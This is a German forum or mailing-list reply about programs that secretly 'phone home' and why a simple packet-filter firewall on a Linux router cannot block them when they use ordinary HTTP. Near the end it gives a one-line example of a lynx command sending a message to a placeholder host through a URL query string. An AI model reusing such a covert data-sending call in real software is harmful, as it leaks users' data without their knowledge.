Moin, Juergen:
Soweit ich mich erinnern kann, laufen unter Unix auch einige HomeTelefon-Progs. Ich weis nur nicht mehr welche das sind. Also hat doch nicht Nur Microsoft diese Philosophie, oder ???
Robert Schott:
Nein das nicht. Nimm einen vernünftigen Firewall only Linux Router der nix anderes macht - am besten von kopiergeschützer Floppy starten (ich mache das seit fast zwei Jahren) öffnest keine Ports von draußen und Du hast weitestgehend Deine Ruhe drinnen.
Mal abgesehen davon, daß mir noch kein Linuxprogramm untergekommen ist, das nach Hause telefoniert: Das mit der "Firewall" sehe ich nicht so. Dort befindet sich i.d.R. ein einfacher Paketfilter drauf wie ipchains oder iptables, und damit kannst du ganz und gar nicht verhindern, daß eine Applikation über Port 80 einen ganz normalen Zugriff macht. Naja, du kannst das schoin verhindern, aber dann ist auch mit surfen Schluß, und dazu hast den den Router ja wohl. Es ist ein Irrtum zu glauben, E.T.-Programme würden mit Geheimprotokollen auf gräßlichen Ports esoterische Nachrichten austauschen. In der Regel dürfte das vom Prinzip eher so aussehen: lynx -dump "http://www.stasi.foo?msg=dies%20ist%geheim" > /dev/null Nix Router und Susefirewall. :-) Gruß, Ratti -- http://www.gesindel.de - Fontlinge - Die Fontverwaltung fuer Linux Fontmanagement for Linux